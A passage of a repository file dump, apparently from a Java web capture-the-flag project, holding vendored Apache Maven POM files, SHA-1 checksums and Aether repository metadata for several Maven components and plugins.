    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven</artifactId>\n    <version>3.0</version>\n  </parent>\n\n  <artifactId>maven-settings-builder</artifactId>\n\n  <name>Maven Settings Builder</name>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-interpolation</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-component-annotations</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-settings</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.sonatype.plexus</groupId>\n      <artifactId>plexus-sec-dispatcher</artifactId>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-component-metadata</artifactId>\n      </plugin>\n    </plugins>\n  </build>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-settings-builder/3.0/maven-settings-builder-3.0.pom.sha1",
    "content": "69a41566b573bda12bd2bb7dcb64d30da834cb9c"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-toolchain/2.0.9/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:32 CST 2018\nmaven-toolchain-2.0.9.jar>central=\nmaven-toolchain-2.0.9.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-toolchain/2.0.9/maven-toolchain-2.0.9.jar.sha1",
    "content": "db9f7eb8b6708b7ee46db0f0357fed43ef555793"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-toolchain/2.0.9/maven-toolchain-2.0.9.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven</artifactId>\n    <version>2.0.9</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>maven-toolchain</artifactId>\n  <name>Maven Toolchains</name>\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-core</artifactId>\n      <version>2.0.9</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-artifact</artifactId>\n      <version>2.0.9</version>\n    </dependency>\n  </dependencies>\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.modello</groupId>\n        <artifactId>modello-maven-plugin</artifactId>\n        <executions>\n          <execution>\n            <goals>\n              <goal>java</goal>\n              <goal>xsd</goal>\n              <goal>xpp3-reader</goal>\n            </goals>\n          </execution>\n        </executions>\n        <configuration>\n          <version>1.0.0</version>\n          <packageWithVersion>false</packageWithVersion>\n          <model>src/main/mdo/toolchains.xml</model>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-shade-plugin</artifactId>\n        <groupId>org.apache.maven.plugins</groupId>\n        <executions>\n          <execution>\n            <id>shading</id>                \n            <phase>package</phase>\n            <goals>\n              <goal>shade</goal>\n            </goals>\n            <configuration>\n              <artifactSet>\n                <includes>\n                  <include>${project.groupId}:${project.artifactId}</include>\n                </includes>\n              </artifactSet>\n              <relocations>\n                <relocation>\n                  <pattern>org.codehaus.plexus.util</pattern>\n                  <excludes>\n                    <exclude>org.codehaus.plexus.util.xml.Xpp3Dom</exclude>\n                    <exclude>org.codehaus.plexus.util.xml.pull.*</exclude>\n                  </excludes>\n                </relocation>\n              </relocations>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-toolchain/2.0.9/maven-toolchain-2.0.9.pom.sha1",
    "content": "d2cd1efecdec107c59eff53ac1510f2fc145956f"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-toolchain/2.2.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:19 CST 2018\nmaven-toolchain-2.2.1.jar>central=\nmaven-toolchain-2.2.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-toolchain/2.2.1/maven-toolchain-2.2.1.jar.sha1",
    "content": "0be589179cfbbad11e48572bf1a28e3490c7b197"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-toolchain/2.2.1/maven-toolchain-2.2.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n--><project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven</artifactId>\n    <version>2.2.1</version>\n  </parent>\n\n  <artifactId>maven-toolchain</artifactId>\n\n  <name>Maven Toolchains</name>\n\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-core</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-artifact</artifactId>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.modello</groupId>\n        <artifactId>modello-maven-plugin</artifactId>\n        <executions>\n          <execution>\n            <goals>\n              <goal>java</goal>\n              <goal>xsd</goal>\n              <goal>xpp3-reader</goal>\n            </goals>\n          </execution>\n        </executions>\n        <configuration>\n          <version>1.0.0</version>\n          <packageWithVersion>false</packageWithVersion>\n          <models>\n            <model>src/main/mdo/toolchains.mdo</model>\n          </models>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-shade-plugin</artifactId>\n        <groupId>org.apache.maven.plugins</groupId>\n        <executions>\n          <execution>\n            <id>shading</id>\n            <phase>package</phase>\n            <goals>\n              <goal>shade</goal>\n            </goals>\n            <configuration>\n              <artifactSet>\n                <includes>\n                  <include>${project.groupId}:${project.artifactId}</include>\n                </includes>\n              </artifactSet>\n              <relocations>\n                <relocation>\n                  <pattern>org.codehaus.plexus.util</pattern>\n                  <excludes>\n                    <exclude>org.codehaus.plexus.util.xml.Xpp3Dom</exclude>\n                    <exclude>org.codehaus.plexus.util.xml.pull.*</exclude>\n                  </excludes>\n                </relocation>\n              </relocations>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-toolchain/2.2.1/maven-toolchain-2.2.1.pom.sha1",
    "content": "ef19c9782d233f4515cf83b4208dd04731ed8989"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugin-tools/maven-plugin-annotations/3.2/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:32 CST 2018\nmaven-plugin-annotations-3.2.jar>central=\nmaven-plugin-annotations-3.2.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugin-tools/maven-plugin-annotations/3.2/maven-plugin-annotations-3.2.jar.sha1",
    "content": "06959f227cb1d36470877ce56c7425fe6626dac2"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugin-tools/maven-plugin-annotations/3.2/maven-plugin-annotations-3.2.pom",
    "content": "<?xml version='1.0' encoding='UTF-8'?>\n<!--\n  ~ Licensed to the Apache Software Foundation (ASF) under one\n  ~ or more contributor license agreements.  See the NOTICE file\n  ~ distributed with this work for additional information\n  ~ regarding copyright ownership.  The ASF licenses this file\n  ~ to you under the Apache License, Version 2.0 (the\n  ~ \"License\"); you may not use this file except in compliance\n  ~ with the License.  You may obtain a copy of the License at\n  ~\n  ~   http://www.apache.org/licenses/LICENSE-2.0\n  ~\n  ~ Unless required by applicable law or agreed to in writing,\n  ~ software distributed under the License is distributed on an\n  ~ \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n  ~ KIND, either express or implied.  See the License for the\n  ~ specific language governing permissions and limitations\n  ~ under the License.\n-->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <artifactId>maven-plugin-tools</artifactId>\n    <groupId>org.apache.maven.plugin-tools</groupId>\n    <version>3.2</version>\n  </parent>\n\n  <artifactId>maven-plugin-annotations</artifactId>\n\n  <name>Maven Plugin Java 5 Annotations</name>\n  <description>Java 5 annotations to use in Mojos.</description>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-artifact</artifactId>\n      <version>3.0</version>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugin-tools/maven-plugin-annotations/3.2/maven-plugin-annotations-3.2.pom.sha1",
    "content": "a0eea9feb9210bdc2fc4a5a5e406d2b85b08a716"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugin-tools/maven-plugin-tools/3.2/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:11 CST 2018\nmaven-plugin-tools-3.2.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugin-tools/maven-plugin-tools/3.2/maven-plugin-tools-3.2.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n  ~ Licensed to the Apache Software Foundation (ASF) under one\n  ~ or more contributor license agreements.  See the NOTICE file\n  ~ distributed with this work for additional information\n  ~ regarding copyright ownership.  The ASF licenses this file\n  ~ to you under the Apache License, Version 2.0 (the\n  ~ \"License\"); you may not use this file except in compliance\n  ~ with the License.  You may obtain a copy of the License at\n  ~\n  ~     http://www.apache.org/licenses/LICENSE-2.0\n  ~\n  ~ Unless required by applicable law or agreed to in writing,\n  ~ software distributed under the License is distributed on an\n  ~ \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n  ~ KIND, either express or implied.  See the License for the\n  ~ specific language governing permissions and limitations\n  ~ under the License.\n  -->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <artifactId>maven-parent</artifactId>\n    <groupId>org.apache.maven</groupId>\n    <version>22</version>\n    <relativePath>../pom/maven/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.apache.maven.plugin-tools</groupId>\n  <artifactId>maven-plugin-tools</artifactId>\n  <version>3.2</version>\n  <packaging>pom</packaging>\n\n  <name>Maven Plugin Tools</name>\n  <description>\n    The Maven Plugin Tools contains the necessary tools to be able to produce Maven Plugins in scripting languages\n    and to generate rebarbative content like descriptor, help and documentation.\n  </description>\n  <url>http://maven.apache.org/plugin-tools/</url>\n  <inceptionYear>2004</inceptionYear>\n\n  <mailingLists>\n    <mailingList>\n      <name>Maven User List</name>\n      <subscribe>users-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>users-unsubscribe@maven.apache.org</unsubscribe>\n      <post>users@maven.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-users</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/users@maven.apache.org/</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven---Users-f178.html</otherArchive>\n        <otherArchive>http://maven.users.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Developer List</name>\n      <subscribe>dev-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>dev-unsubscribe@maven.apache.org</unsubscribe>\n      <post>dev@maven.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-dev</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/dev@maven.apache.org/</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven-Developers-f179.html</otherArchive>\n        <otherArchive>http://maven.dev.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Issues List</name>\n      <subscribe>issues-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>issues-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-issues/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/issues@maven.apache.org</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven---Issues-f15573.html</otherArchive>\n        <otherArchive>http://maven.issues.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Commits List</name>\n      <subscribe>commits-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>commits-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-commits</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/commits@maven.apache.org</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven---Commits-f15575.html</otherArchive>\n        <otherArchive>http://maven.commits.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n\n    <!-- duplication from parent pom - temporary until they inherit properly -->\n    <mailingList>\n      <name>Maven Announcements List</name>\n      <post>announce@maven.apache.org</post>\n      <subscribe>announce-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-announce/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/announce@maven.apache.org</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven-Announcements-f15617.html</otherArchive>\n        <otherArchive>http://maven.announce.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Notifications List</name>\n      <subscribe>notifications-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>notifications-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-notifications/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/notifications@maven.apache.org</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven---Notifications-f15574.html</otherArchive>\n        <otherArchive>http://maven.notifications.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n\n  <contributors>\n    <contributor>\n      <name>Tony Chemit</name>\n    </contributor>\n    <contributor>\n      <name>Tinguaro Barreno</name>\n    </contributor>\n  </contributors>\n\n  <prerequisites>\n    <maven>2.2.1</maven>\n  </prerequisites>\n\n  <modules>\n    <module>maven-script</module>\n    <module>maven-plugin-tools-generators</module>\n    <module>maven-plugin-tools-api</module>\n    <module>maven-plugin-tools-java</module>\n    <module>maven-plugin-tools-javadoc</module>\n    <module>maven-plugin-annotations</module>\n    <module>maven-plugin-tools-annotations</module>\n    <module>maven-plugin-tools-ant</module>\n    <module>maven-plugin-tools-beanshell</module>\n    <module>maven-plugin-tools-model</module>\n    <module>maven-plugin-plugin</module>\n  </modules>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/plugin-tools/tags/maven-plugin-tools-3.2</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/plugin-tools/tags/maven-plugin-tools-3.2</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/plugin-tools/tags/maven-plugin-tools-3.2</url>\n  </scm>\n  <issueManagement>\n    <system>jira</system>\n    <url>http://jira.codehaus.org/browse/MPLUGIN</url>\n  </issueManagement>\n  <ciManagement>\n    <system>Jenkins</system>\n    <url>https://builds.apache.org/job/maven-plugin-tools/</url>\n  </ciManagement>\n  <distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <url>scp://people.apache.org/www/maven.apache.org/plugin-tools/</url>\n    </site>\n  </distributionManagement>\n\n  <properties>\n    <pluginTestingHarnessVersion>1.2</pluginTestingHarnessVersion>\n    <mavenVersion>2.2.1</mavenVersion>\n    <antVersion>1.7.1</antVersion>\n    <mavenInvokerPluginVersion>1.6</mavenInvokerPluginVersion>\n  </properties>\n\n  <dependencyManagement>\n    <dependencies>\n      <!-- maven -->\n      <dependency>\n        <groupId>org.apache.maven.plugin-tools</groupId>\n        <artifactId>maven-plugin-tools-api</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.plugin-tools</groupId>\n        <artifactId>maven-plugin-tools-generators</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.plugin-tools</groupId>\n        <artifactId>maven-plugin-tools-model</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.plugin-tools</groupId>\n        <artifactId>maven-plugin-tools-java</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.plugin-tools</groupId>\n        <artifactId>maven-plugin-tools-annotations</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.plugin-tools</groupId>\n        <artifactId>maven-plugin-annotations</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.plugin-tools</groupId>\n        <artifactId>maven-plugin-tools-beanshell</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-model</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-project</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-plugin-descriptor</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-plugin-api</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-core</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-artifact</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n\n      <!-- plexus -->\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-utils</artifactId>\n        <version>3.0</version>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-component-annotations</artifactId>\n        <version>1.5.5</version>\n        <exclusions>\n          <exclusion>\n            <groupId>junit</groupId>\n            <artifactId>junit</artifactId>\n          </exclusion>\n        </exclusions>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-container-default</artifactId>\n        <version>1.0-alpha-9-stable-1</version>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-archiver</artifactId>\n        <version>2.1.1</version>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-velocity</artifactId>\n        <version>1.1.8</version>\n        <exclusions>\n          <exclusion>\n            <groupId>velocity</groupId>\n            <artifactId>velocity</artifactId>\n          </exclusion>\n        </exclusions>\n      </dependency>\n\n      <!-- other -->\n      <dependency>\n        <groupId>org.apache.velocity</groupId>\n        <artifactId>velocity</artifactId>\n        <version>1.7</version>\n      </dependency>\n\n      <dependency>\n        <groupId>com.thoughtworks.qdox</groupId>\n        <artifactId>qdox</artifactId>\n        <version>1.12.1</version>\n      </dependency>\n\n      <dependency>\n        <groupId>asm</groupId>\n        <artifactId>asm</artifactId>\n        <version>3.3.1</version>\n      </dependency>\n      <dependency>\n        <groupId>asm</groupId>\n        <artifactId>asm-commons</artifactId>\n        <version>3.3.1</version>\n      </dependency>\n\n      <dependency>\n        <groupId>org.apache.maven.plugin-testing</groupId>\n        <artifactId>maven-plugin-testing-harness</artifactId>\n        <version>${pluginTestingHarnessVersion}</version>\n        <scope>test</scope>\n      </dependency>\n      <dependency>\n        <groupId>easymock</groupId>\n        <artifactId>easymock</artifactId>\n        <version>1.2_Java1.3</version>\n        <scope>test</scope>\n      </dependency>\n    </dependencies>\n  </dependencyManagement>\n  <dependencies>\n    <!-- misc -->\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.2</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.easytesting</groupId>\n      <artifactId>fest-assert</artifactId>\n      <version>1.4</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>3.1</version>\n          <configuration>\n            <stagingSiteURL>scp://people.apache.org/www/maven.apache.org/plugin-tools-${project.version}</stagingSiteURL>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <configuration>\n            <tagBase>https://svn.apache.org/repos/asf/maven/plugin-tools/tags</tagBase>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-component-metadata</artifactId>\n          <version>1.5.5</version>\n          <executions>\n            <execution>\n              <goals>\n                <goal>generate-metadata</goal>\n                <goal>generate-test-metadata</goal>\n              </goals>\n            </execution>\n          </executions>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n\n  <profiles>\n    <profile>\n      <id>reporting</id>\n      <reporting>\n        <plugins>\n          <plugin><!-- TODO remove when upgrading parent to version 23 -->\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-project-info-reports-plugin</artifactId>\n            <version>2.6</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <version>2.8</version>\n            <configuration>\n              <linksource>true</linksource>\n              <links combine.children=\"append\">\n                <link>http://sonatype.github.com/sonatype-aether/apidocs/</link>\n              </links>\n            </configuration>\n            <reportSets>\n              <reportSet>\n                <id>non-aggregate</id>\n                <reports>\n                  <report>javadoc</report>\n                </reports>\n              </reportSet>\n              <reportSet>\n                <id>aggregate</id>\n                <reports>\n                  <report>aggregate</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-jxr-plugin</artifactId>\n            <version>2.3</version>\n            <reportSets>\n              <reportSet>\n                <id>non-aggregate</id>\n                <reports>\n                  <report>jxr</report>\n                </reports>\n              </reportSet>\n              <reportSet>\n                <id>aggregate</id>\n                <reports>\n                  <report>aggregate</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-checkstyle-plugin</artifactId>\n            <version>2.9.1</version>\n            <reportSets>\n              <reportSet>\n                <id>non-aggregate</id>\n                <reports>\n                  <report>checkstyle</report>\n                </reports>\n              </reportSet>\n              <reportSet>\n                <id>aggregate</id>\n                <inherited>false</inherited>\n                <reports>\n                  <report>checkstyle-aggregate</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugin-tools/maven-plugin-tools/3.2/maven-plugin-tools-3.2.pom.sha1",
    "content": "cf7e43c094bcf2eae4234822a2676e14cc63a12d"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-clean-plugin/2.5/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:22 CST 2018\nmaven-clean-plugin-2.5.jar>central=\nmaven-clean-plugin-2.5.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-clean-plugin/2.5/maven-clean-plugin-2.5.jar.sha1",
    "content": "75653decaefa85ca8114ff3a4f869bb2ee6d605d"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-clean-plugin/2.5/maven-clean-plugin-2.5.pom",
    "content": "<?xml version='1.0' encoding='UTF-8'?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven.plugins</groupId>\n    <artifactId>maven-plugins</artifactId>\n    <version>22</version>\n    <relativePath>../maven-plugins/pom.xml</relativePath>\n  </parent>\n\n  <artifactId>maven-clean-plugin</artifactId>\n  <version>2.5</version>\n  <packaging>maven-plugin</packaging>\n\n  <name>Maven Clean Plugin</name>\n  <description>\n    The Maven Clean Plugin is a plugin that removes files generated at build-time in a project's directory.\n  </description>\n  <inceptionYear>2001</inceptionYear>\n\n  <prerequisites>\n    <maven>${mavenVersion}</maven>\n  </prerequisites>\n\n  <scm>\n    